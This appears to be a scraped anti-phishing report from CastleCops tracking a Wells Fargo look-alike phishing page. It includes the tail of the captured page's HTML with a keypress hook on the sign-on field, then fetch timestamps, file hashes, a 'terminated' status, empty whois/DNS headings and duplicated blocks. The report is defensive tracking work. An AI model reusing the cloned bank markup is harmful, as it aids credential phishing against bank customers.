<P id=disclosure>Brokerage is offered through Wells Fargo Investments, LLC 
(member SIPC), a non-bank affiliate of Wells Fargo &amp; Company and is intended 
only for United States residents. System response and account access times may 
vary due to a variety of factors.</P></DIV>
<DIV style="MARGIN-TOP: 25px; FONT-WEIGHT: bold; FONT-SIZE: 75%; WIDTH: 772px" 
align=center><IMG style="PADDING-RIGHT: 5px" height=10 alt="" 
src="abc/hor.gif" width=14>Equal Housing Lender</DIV>
<SCRIPT 
type=text/javascript>document.signon.destination.onkeypress=entrevous;</SCRIPT>
<NOSCRIPT></NOSCRIPT></BODY></HTML>

fetched page

at 24 Jul, 2008 @ 01:52:12
MD5 Fingerprint: dca9f4baab4b4434c5997dc72e035db2
SHA1 Fingerprint: 0b30333c2644978258db7d9fee90c30ed68d2b1b

fetched page

at 24 Jul, 2008 @ 01:55:20
MD5 Fingerprint: d41d8cd98f00b204e9800998ecf8427e
SHA1 Fingerprint: da39a3ee5e6b4b0d3255bfef95601890afd80709

fetched page

at 24 Jul, 2008 @ 02:03:33
MD5 Fingerprint: dbb6f2d63af34014034e8443690860af
SHA1 Fingerprint: cb48d378951233cbb1dc9053a722d4866ffd361f

fetched page

at 24 Jul, 2008 @ 02:37:52
MD5 Fingerprint: d41d8cd98f00b204e9800998ecf8427e
SHA1 Fingerprint: da39a3ee5e6b4b0d3255bfef95601890afd80709

Fried Phish^(TM)

status: terminated

Report for at 24 Jul, 2008 @ 00:14:16

whois

whois

whois

dig any

dig any

host

host

host

fetched page

fetched page

fetched page

fetched page

fetched page

fetched page

fetched page

fetched page

Corresponding BGP Origin ASN

Possible BGP peer ASNs one AS hop away from BGP Origin ASN

AS Description of a given BGP ASN


	2002-2008 � Computer Cops LLC dba CastleCops®. All rights reserved. Acceptable Use Policy. Use signifies your agreement. 219ppm 0.422s (0.18s) Making cybercriminals unhappy since 2002*

Fried Phish(TM)

status: terminated

Report for at 24 Jul, 2008 @ 00:14:16

whois

whois

whois

dig any

dig any

host

host

host

fetched page

fetched page

fetched page

fetched page

fetched page

fetched page

fetched page

fetched page

Corresponding BGP Origin ASN

Possible BGP peer ASNs one AS hop away from BGP Origin ASN

AS Description of a given BGP ASN

Fried Phish^(TM)